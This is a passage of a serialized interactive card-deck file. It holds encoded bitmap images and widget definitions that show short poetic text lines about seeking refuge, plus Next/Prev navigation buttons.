AZGZrEsjMn///vzP//////////////////v/////////////////////////lkx7++/ZsbFmzbJKBZMJMiE2JWylJkkyaIpf//+/d/z////////////////+/////7/v/////////////////8VmT3/9/////zNsyslQmIklQ0hErMlTJJrJv/73+fL//////////////////f//////f//+//////////////8pEyXv/2f///32STEyTMKSVMkzEyIzNM2WZT///v77////////////////////////7///////////////////Ksm1///////9WbMNJiYkZMQ0hNkrJIyTZTT////b/f//////////////////////////////////9////////8Ysm3///////02syMmSZSyplqSMyZljMkmWP//9/f3////////////////////////////+//////////////8xJMp7//////vspmZYUZkRIkkzIkxLMUyaSb//37f3f///////////////////////////////////////////LNMz3//////+NtMxExwExRppSTMyZJzJpmm//3//93///////////////////////////////////////////4pZNN2/////7dZZiaSCZJjJhIzMhpSCMkmWf//73/n//////////+/////////////////////////////////TDc029/////dzZEwk4ykiJDMyENiTayZaUJ/////v////////////////////////////////////////////UWRnb9///f/dmZZjWxmJJKaZSZZJaSmZkk2/f/7vP////////////////////////////////////////////yRTMtnd//3/9ezZmEhIUlMxhExkpSyUySWkf//fvn////////////////////////////////////////////+NmZq2f3///3ZmSSYkjJLIkGaySZSE1mZssz//ffzf//////////////////////9/////////////////////0izNt+v/83/bMyZhlqSJKM4yIxlS0wkTkkm////pf////////////////////////////////////////////1LKZU2+73+77ZmymTCjJEZJiUmkSllpmJNMv///+v///////////////////+2///////////////////////8pIzTZt73rbnbMyYSLGGTRMSVUJmkMlmZssn///3r5//////////////////9/////////////////////////jTSbNm336n/abBhmiEpJGZRUlNGVZpEpJKd///fb+////////////////////v///////////////////////8LJkme7XsmduZOmSWbKmURGxqUUklFsmZNJf/////P////////3/////////+ff+////////////////7////8yGWbJmnvs3/+2rZkyMpKVYjJlZmKVJsZqWT///unn/////////3////////7f97//9/////////////+/////FMZJOmbOYn/u7e233+7m9z25G2tttpppjNb//f/7/////////+//////////f/3///3//////////////////0yymZNlvbJfs0szbMkpORmVjZKZnWrrvve3///v3n////////79//////////9//9t/f//////////////////LGaZVNWel2ZzY2kkpJQ1IxGBklJJLKZJZLb////Xf////////v7////////79+977vv//////////////////kEkmbNZszHZmJgSSJpDBSjM2SSZmmSZTTMl/f72/z////////f////////////7/vf////////////9//////1bM2Ysa22Je2bNlkpJMmmYIiZJpKaTSbLNbf///+ff//////////////////+/3///P/////////P////////8iJhJk4zMy0zbISSiZAiIhymImiYhsmYmaTL////3////////+97///////////f/f//////////3/////////qTFmVizMyTmkSZJkxLKkmDIWaJJnMyZmSaT///+3/////////9//////////9+/////////////+/////////4mTGZmZu2lu2zYyEiSIkSaEkRJWVJJkkuUzP//9+/////////9///////////87/////////////v////////9WTISlkyZk21qSyZkiSRlCTMmWRJLZmZmczP//9+/////////////////////////////////////P////////UEjWJGZtklmmySRkyUREWUIokZmqTMplIsk//7/4/////////////////////////////////////////////42zEVsZmZJetS0khhRSRISZJmQiKaZmTNs2f///uP////////////////////////////////////////////+iEmlJks5pttmkmpFEkpMyJJENbJSzMZMZMv////5/////////3///////////////////////////////////MsmJJMxjb7VOUpJZIiSYSZJM0QVTKMyyZMy//v///////////////9////////////v//////////////////xRklJJFmZd9ZMpFJKkkRIhJIhSxSWySTM2Tf//7t/////////////9/////////+/////////////////////9FFJbZMy0zd7UpZSSMkxKzTJkmSiyTM02SZn//////////////////////////////////////////////////yZNiDKjNb/mbJRjKUkiSRDJEyUqikmyxNpm////v/////////////////////////7///////////////////yZiGaaMk03uatTCGkJIiRWCZhEkmmzClmTW//////////////////7///////////////////////////////8wTMxiUzJz76kSZoSZJmSkTJE0lUklGUubRH//9v//////////////v+/////////////////////n////////iySjGVFNmjE1ahjkhJESYmGVhlMtk2Voonm//7///////////////////////////////////////////////yiyJM0lUy2d1ImCEmSRGRkoZKlIpNiUlmyOf/7/3/////////////97v/////////////////////////////9mi1IkrLJlyRM0ZRISTMSEiwopLJJMkpMTJn//////////////////v//////////////////+/f//////////kJlJksqM0mZpRRlkkkIk0pCZEmNaZmppmbN//////////////////v///////////////////73f/////////xlkLFoSZZqTLNmCEokyIhJGRNaSSZEJLMzJv///d//////////////f/////////////////9vv9v////////9mJKZJZVMpmZIiaMpkkZkkaUSRlKSZtZJmTL////////////////////////////////9/f//+/t//////////gpMxjRkYzGTTJCshEkxEjQkzLEk0zJTTMzb//fvv//////////////v/////////////7e//77dv/////////zDSSLDG5lMmGZmITJkiRLGUmGJjSyTKTZmjf////////////////////////////////7+//+27f3////////+WFIpGUiUSSWSGRkJkkjMEZMaSNJIzKzDMqX///9//////////3///3/////////////72///+793/////////wySlWRmZrNJMYLEyQkmIZAkQkxSkySS2Jky////////////////////////////////+3/////33/////////yjLMQmkyKMSkxoJCRJkSROSSUzJKSzUwzNW///f///////////////////////////////3//3bf/////////8pGEykhEpSTJElSUkkkkTIRmZgmksmUxmZkn///3//////////////9/////////////z+///n3/v/////////xWTKsnMzTJEsySRkiRMyJEkSJmLSQyTMzLN//v/s/////////////////////////////////77//////////1QmkkpJkSEkYkiSEklMiTMhEZkklNissmZM////+b/////////79/////////////////9/f9/3p/////////8SkjMJmMyZZokmSZJEQIlIlMxJmSUmkyYzUn////J//////////////////////////+/37/////9/////////pJmMsSYkkhIkkSRJNJMkSJIiZEspJMlJmTN///f4f////////nff////////////////3///f/vf/8///////6zIgIZjMmTJlJESSQIkZJMpKZTEktks2WWNf//////////////+////////////////////7//v/3/f//////8JJnMomMkxLNJMyiTJkpKSSUkSMMSGJJZM0t/9/9+f///////3v//////////////////////9//5/////////ZiEcZoyJiyIJIiGEkEiSSJJMYyssZNMkmlJ/f///x////////e3//////////////////////////////////zGZhJEjMmJZZJkkUiZJJEkkkyzIIzMZaaM1v////+////////3////////////////////7//////////////+JTGKVYkgskRJEkkkiJEkmSSCAlZKZZJpsjP//7//7////////3///////////////////////////////////jGM6SJmNiSZJJJIkmZMSQJJMmySUxJZGScp//////////////v///////////v///////////////////////2MSASqMMSJIiSMkkkRIlJkkkmJIzTKTSZJzf/9/+/////////////////////////////////////////////9ZNOyEYkjYmTJISUkkSISkZJJMkyEqaLI2JX//////////////7/////////////////////////+/////v///hMSJsRNKRiVEmRJMmSZiJJJJJKRsySqWiZx////3////////////////////////3////////////////3///2STJCtRMiGEVISkkkJhGSKSSSUlElWSSWlDf//////////////3///////////ff////////+f//7////+P//8zKTNITJGZMhJkiSJImREYSTJTGZJSVSkWaX/79////////////////////////7/////////H///////+7///mSSJRmTMSkmJCSJJJITExSSEyMJJkkmmkpl3/////////////////////////3+/////////0///3/f/fu/9/8SWzLGSYmJIZSkplJJkJCSSZCgoTKWqMskmf//////////////////////////f////////86f//9/P/3///f8mSFISGRmVkhSSSSSSEyMySRmGSyJkpJhtZP//v////f/////////////////+//////////vr///nz/7///z/MyMTTMWEECWSRkRKSZCYiSSCUZEzElTHERM/////////////////////v///+/3////////y////77P8v////8i0qSU0ZM5JKSEySUhMhImSZFgkyMtTMZbZf///7//////////////////////////////f9N////+F+Q///v8JlKSxJhkhEkksiSEmQmRkSRMGSkipKQxgjP/+/7/v////////////////////v/////////n////+bOZv//3/ZkYUjMmSSaSSQkSUkTITEkkQyZMmJKZjGmJ+////v///////////////////+/7//////9/7f///8knkn/v9/zJZykpIpMwkklkSRJEJkRKSTDCQklKSmMsbf//9////////////////////////v/////+f///z//mS8ZH///+SSSljJikiSSkkkkkkyEzJJMMGTJHKWYRJJO/////////////////////////+//////////3/+//4TMxM9///zKRlFJFJIkpJhIkiTGZiTEkyZIksI0RnMaT//+/v7///////////////7/////v////////8Xnv/+2MlJvf//0mmRMyZUlmSRFJkklERiSMSCJKiQlimWJZbP/7//////////////////////////////////L7///kkZLE///8yGZkiZjJEJTESEkySWCSgksmYMlJGOZLJSP////7///////////////+/////9/////9///M+///8mRpJY///hkgiJJGJkokJJJJIiMZSNKQkRQkRJYQmZKZ////3///////////////////////////////4/Gf//MtJSkv//8lmrNmSSDJYyKTMkmURSYZlJTGSjKlTYRKzf/v///+//////////////3f//////////+//+f3Jv/8kxSSb//9pEpMKTLJJBiYSIJIRJSRJCREklKJKWRmaGXf//+//////////////////////9//////vv/l42m/+ZLSxk///JtJEokmSSSEhSSZJkkiSSSTKRGQjQoyWZYl//+//f//////////////+/////////////4/28iSb/psSik///5IsmZUySSSZNSSRJEzKkiSkYpMLGGmixCTmf/+////////////////////////////////D8vMlk/6SSkpD//+ZIyJVJmSSRISkkSRBIkmkkxCQyMSSaTOZJP//////////////////////////////////2NnoySf/ZMlJN///ZZJskYmSSSTKkkyTMiRIEkiUjCQklI0SSxlv7//f///////////++7///////////////+Q9ijJr/000pSf//0SZEppYmSSSMkkiSIzJJlJIhSMlI0WwzMjLf//////////////////7///////////////3LmSWSP/RJJGb//8yZVJiRmSSUhJJIkiESZCJJmEoyUhkSokmYn9//////////////////////////////7//8M8ViRb/1ksSQ//+myRMDLJEkkmJJJkmcxJJJJIYiRJJK0pmYhT/////////////////7e////////////+//+kf0Gmx/8jIZlf//smZicmJmSSMZJJEkQiSSTKRhkZIkwhjMpmVe/9////////////////7//////f////////5J84WJP/qJQkz//5kQmRmTGJJokSSRJEmSTJJLGExJSTGmIiUyX/9///////////////+///////f/////9//9KfhkMz/yZMxi//+Fmw1MGMSUiJZJJIkkSSEiSIZCSRIZJKMxmp/////////////////+///////f//////P/7Kb9M0jf9RYhk///zGJiRmY2ZSZEySSTJM0kmZJkkjKUxlmZTMS7///3///////////////////7f//////5/8qS+ZjMn/mRKhj//yJJmTGEiQkhISZJMJIiSkQmESyGRDDCTEplP/////////////////////////7/////9//7mPxMkz/6SSLE//8zGSSUsakmmSkgkwSSKMkySZJhsEmJKSMyGV/f/7///f///////////////+3v/////////8Y9czJ//GZUs///jMZmlipMkJaMmSRMSZkkiRBJEiWSTSkyRMZe/33//////////////+////////////////8xPTkM//2QxIj//0kykmJKUspAkkZJIyRFJMmUSRJIJFGWTNMyX////////////////////////v//////////iZ784R/8mSpM//5zKZJJkZJJTGJCSSCSRJMkRSTMkmUyUZEZJJ//////////////////3////++///////////ye//NH/mUpZf/+pMxJnLSsJDMJmSSZGTJIJFEkISYRjExmZM27///////////////////////////////////+b//43/8EhTP//qxTLKYGJZKBJESSRUUJJJMkyZJJkkWkSIozP//3//////////////+//////////////////3//+iP+0nKI//5JMKIiYlESrJMySkREyTJJJhhIkIhRM5KqkJ9+/////////////////7////7///////////////Mv/xkKbP/9ZYaTMZmaSCTIiUkyMiSKSJCGTJZrGEiWJMzd////////////////////////////////////9//Uyf9lqSX//TRZTMxEpKWSJkkkiYkkiSZZMSJBAmZMkZUmd//////////f///////7/////3///v/////////4RJv/BCWS//yTSWQkkmSUmSREkkhJEmSRBEkiWTCRsyTFMj/3/+//////3//////////H//////9/////////+zMy/+mU0v/+SSYzJZJKQkSZkklGJMoSkaSImQSMkEjJMpmf3////////P///////+3/N//z//////////////yZTP/KSiz/+UyyiZBJKSlSQikkMZJJkkwipkSkiSZmSwjE3/+///////9//////////+///p/////////////8xM3/0ksl//symMyaSZSJMklkpIhSJE1EmJJSaTJJkzJmMnb////////7////////2/////Z//////////////yYy/9SRk//4pkZiYyRUkkk0RJMmSaREMkRJGQlEmTCMkwsf/////////f//////////////f///////////f/8zJn/FlNj//MmzGSSURkSJBJMQQSQTMpMlJISSSZJMyZjJn//9/3////9///////+3////+///+////////n//SZl/6SZL//MZKSSZEzJJJmmYTNiGSIjIkyTkkphEkzJJNN/+//bf////f///////////v/////////////3//5jWf+ppJP/0pUmmk2kpMlCJJUIGMWSJJJCTEmSGVTIkZkY7u//8/////5f//////t///3////////////88f//mZL/miaX/9KTMWWSIyYmUlEEyYQySZSSkkFJJYTFMzRLRvv///y/////3//////////9X///////////8435/2y2/8ZYz//ZaM0UZJhYkJTJYiRlCElCSSWSJEhkmSTFJGR////tv////3///////f////////////+f7/iz+t8mYP/Rky//zSyJkxGGwk0kJBklEWUyWSRISKSSEiKZMZWZ3//v83////9///////f/v////////////+86SPrPkxp/2SSn/6STMmmaYjJJIxOEkZIRJISTSk0SlsqIxkpSEn//f/5////5v//////////////////////iZk35z9nLf8ztt/+20kyMZlmRMkjCYkgkmQkySKIxSJEozTLKSs3vv//zn///3t//////3//9v///////v///2pGx/bfO7b/zO1//2yzCsyUQlITJKBkmiYZjCUiZhGkkJkRJJKJk/f//3Pf//9bf/////////8///////////4SZCnwnzrG/7ZpP/5klMkiZpmZJJCWEkJJgmMxTBEmGSsUyzTGtEn/9//dv///Tb/////+///v//////////+exJmL5mfMWf+zW7/9mky1MyKkZMibEpJkyGYQiFGRKMMiZCjGaSTNv///1u7///b//////////////////////ikSUukubVJ/zZZ//bNjJMyZJkYSQWCJCSYRlMqWTMkklImMmRlLM////+bbP/62v/////3///////////////6pZFLJkjM2f+Tk//5NMkpJk1mZZWQs5JIhJGRCImISJJSyUyWSWSb73/67fd//rb//////////P//////////8liUJNlOYpf/bKb/81JmzMmRJISUaghKSmIkJNIkSRJklJlJkppLLv//v2ybXpm3f////t////5//////////+VKZrCFM7sw/0m5//TLElIyZiMyQglMSSIZpkiU0yUlDYREMmmSmM///f93u97vbX////v///+/P/////////8sSyiLMZCTTf+aS//suTkmlkmZSTLFMzEphEkqJRCkiSBrSYyMZKY37///lubzbc2/b///f////yz/////////kzCLJEpO1Mn/slP/4zTNiZGYxMkJMSCEiGJJIsksmLJmEjJlsy0lrf+//trdnVk23yf//////8+k+////////9GW0mTIybSyf82f/9tGRLJkJjIkyRJMqZYJJMxJYwYSEZSSUkmRWS9///9rN2239tnb///////f2/v////9///MyTSZJjSmlv/SY//YyTImTaUbJCZMwiZBkSSBJEhlkZkkyZpMVkpP///9udtm7Ntuc7//////9/L7////3P//ymklkyJGyZG/0zf/xjWrSTCZwZkkhJmQKESSNrMZsGTJIyils0mS2////6ba2ztba53////v///0+////+b//+MWymTJWWxsf+2X//NEiMkmSjRCWTMkSyZIkyCIkg0MJlgmJIkolS7e9/9+bbvXbbml////////1fz////iL/+c0lpMmSUzZv/oz//MymYmTGSNJkJISSSRMkjMTMZlYyTG0Zpspm0v///7SbWs3bbc9////////8v3///4uaf/xIlFkySkypM/9m//yTszMMklYykkkkmQkQRIk1MkkSmZJBjJJJMIzf//3++2b2uzZlv///////8qf////IyT/2ZtNLJkmsqZP/Wf/7NFmRsmMzJJOZaWTkzNMyISMZooRlGOJZNZstf33/62bvM6zbdt////9//8yf////5iW52ZJMqMmko05N/0z/+mRMzNu9rMls7t9vt286RszMxmlmTawbZaZJY3v///mdmd3v21p////1//wlY8///+W08zJZMq0yNltSaf+z//rPtm9MlMlLKSaTWTszrvnbvf9deZjLRJSZpRj////29Xbdczbbv///9r/zMy/f///ZEnSWZZMllpFMsyb/kv/1mSMhJMZTIpMxKNNIzKGNMmMBJIszU2be3bbN7///3tdu5xzs5s///8z//MiTx///5kskyZTM0kmMpKyS/8z/9GRJlJMxEJjEiWoIzJJZJIyYtKakzFQ5ImRa5//33/Nbmzvtrzl////3f/4s0+vx8eTJsykyZJppIrck2f/t//bO0lZYTKySLIoGZiMyTLJlhiSZNEmViSkmSTL/////bPfa63OfZv//mZ/7Jyzp7PwpNJkmSzMllmpJUyR/xf/yMhJJJkKKRpJisUkiTJKJEGTLSUcyYkZtk6Ua/v//7bds1rtZ5Zt//+73/bEl9Op5qyZM1MyZZJJJTNknf/P/+aUpISMyUmiSJIkZNMWSTMoZESSZjJpyknE2yf/+/3bbb3dtzTW5f/8zb/5bU3YzMmTJYlMyxlpplTKM2T/v//ZNpJZIlFSJSZlKpIUwTTJmwkSmIKWJmJZNSKZ////27bNt3bbc57//3d//SNj5lJZUmSspJlKTLLSaZkm/6//y2Q==&#34;&#xA;{widgets}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[205,62],&#34;pos&#34;:[6,25],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;i discovered my last refuge later, when my first three failed me in ways they never had before.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[226,20],&#34;pos&#34;:[26,95],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;i could not flee to the forest.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field3:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[242,18],&#34;pos&#34;:[82,123],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;the past held no answers for me.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field4:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[232,46],&#34;pos&#34;:[230,179],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;the truth is, i was born to the delicate, joyous flame of joined hands and regular maintenance.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;field5:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[274,18],&#34;pos&#34;:[112,152],&#34;locked&#34;:1,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;no spell or trance could heal my hurt.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card11}&#xA;image:&#34;%%IMG0AgABVv////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////9/v///////////////////////////////////////////////////////////////////////////////////3abvu//7r+///////////////////////////////////////////////////////////////////////////92m77v/+6/v//////////////////////////////////////////////////////////////////////////7//u//vu9f7f3/////////////////////////////////////////////////////////////////////////3/3//+//tVd/+///////////////////////////////////////////////////////////////////////////////16v/////////////////////////////////////////////////////////////////////////////////+///v/////////////////////////////////////////////////////////////////////////////////7///////////////////////////////////////////////////////////////////////////////////////9//////////////////////////////////////////////////////////////////////////////v/v+t/v/7////////////////////////////////////////////////////////////////////////////t///3+//////////////////////////////////////////////////////////////////////////////9//W331p7d07/////////////////////////////////////////////////////////////////////////deu/3/Oqur23///////////////////////////////////////////////////////////////////////9+/l0qa2Ule+3z//X/////////////////////////////////////////////////////////////////3//v1Zqkqra1EikyXvu+/////////////////////////////////////////////////////////////////9/v/75V2qVJStTK1V3fX+///////////////////////////////////////////////////////////////////naSqqJSqlIqpUktNbfr////////////////////////////////////////////////////////////93Vf9//1VKVFSklU0kpVUlVX/////////////////////////////////////////////////////////////7q0qqqkUqpSpKlVKsqpSk1Nqf/////////////////////////////////////////////////////////u1aqkspJKSlVSlJlKkkkUkqlSUsbd/////////////////////////////////////////////////////////9LSVTVVKVWpKUpaJKqlKlSUkUkyq/f/////////////////////////////////////////////////////////epKySVJJkkpVRVUklNKlUq1VRWqdv/////////////////////////////////////////////////////////1UiSSVJEqlIqKSkqolKSpMlLSVZW1v//////////////////////////////////////////////////////++SUqqqqpVKUxEVKqSykpErSlJKmqqmuu93///////////////////////////////////////////////////96pFVJFSJJSipSUkSSVSqpFKVUlklVVcar/////////////////////////////////////////////////f/76StIkqikqlKplKSqopJSkiUpJSiVKlU1Vb////////////////////////////////////////////////WdqpVTJVSVJSUpSkpVJJFJSUrSlKqmpJKSskr+u/////////////////////////////////////////////VVZUqqS1UlKVlJSpIpRKlSlSqVFKVSSSqlKkqpS/+///////////////////////////////////////////tZKpVSSSRJUqSEqlJVlSpKTFKSUspSKVaSVKUySlKvv//////////////////////////////////////////9pVJklJKrUpSVWpSlSFJSkpKkpKTSlUpIpUlUtKlKSyr9////////////////////////////////////////7lSVFUqqSJRKSSJFKSWVKVSiVSpSKUlSplSqJTUlKSilfbv///////////////////////////////////////qSqWkpJVMqqVJEqJJVolJJTJJSispSiklJSVSyqlVUqS7////////////////////////////////////////6kqlpKSVTKqlSRKiSVaJSSUySUorKUopJSUlUsqpVVKku////////////////////////////////////////5dUkipSolJJKSqUlSSRVKqStSSlSJSlSqKSlJTSSkpMqr/3/////////////////////////////////////qVlKSpSlJVMkkSkiSpVSJESKjJVFJSpKJSaVSUpJVKUrUkkt5////////////////////////////////////0iUpVJlKVIoqlSSRKRIiZKpUlJIqJIRUqiRSSpSikpSpEqlVLu////////////////////////////////////XpSkqikpKpJKSpKKSpSokkiShVSVVJSVFVpJSlLKSlEiUlSVb/////////////////////////////////////9qUlJKlVJRJSlJZKSiBlSVSLISSSNSQqkhVKUpJVUqrUqlUmVX///////////////////////////////////96pVKUqklTVSklIlJFWihIhJEpJJLJKwkmkkKUspIpSKUlJSJL////////////////////////////////////1nVKalKlKJKlVJqJKSWVJTKiUpUpFJCkkUlYokRJVKRUqVKlVe///////////////////////////////////6qklJKlKksklJKiVVSSIqpKTUUooiKlKqaVJUqKqqUUkpKUpSS///f//////////////////////////////+lSlVKJFJKkqkpJJKSKSakRJJCokkrUVJEoSJIpRSRJU0lKSkSq6/3v//////////////////////////////tWpSkqaqkqSySUkpkSUVJEpUktBSUpAolKRpKkpIpKkqsqVVKZSVK/P/////////////////////////////3UqJSklRJKkSRSokhEpJSUKlJUkWlSktlSUqipKpJBUqkTSpJVWlSqtR7/////////////////////////////UpEpVVFkqSqoiRQCABJJIkiJIU0SRCQiJSQmkkRVTSRKqykpSSKlJL0n////////////////////////////7apWpSSUlRKSS1JBAAABJJQlJJSQpKqqypKSkEqqiTKVJJNKpKSkkpVfK////////////////////////////3ZJSUpKpWSlJJAkkgglQEEiUlJJIkkQRCkkJKaUJFJEKUpIlJVKmVSqvd7////////////////////////////5VSZSpFISUJJLSAABAFUqVBSJJJEkppLElVUpRUkpMpJSpElJKUUqkq4v//////////////////////////8qEqSpSkqklUUkkAAAAAAAAAGiUkkiSUgkKSkiRiiSokqkpEtSklJaUlSU1f+/////////////////////////1VUqSFKglQgqAAAAAAAAA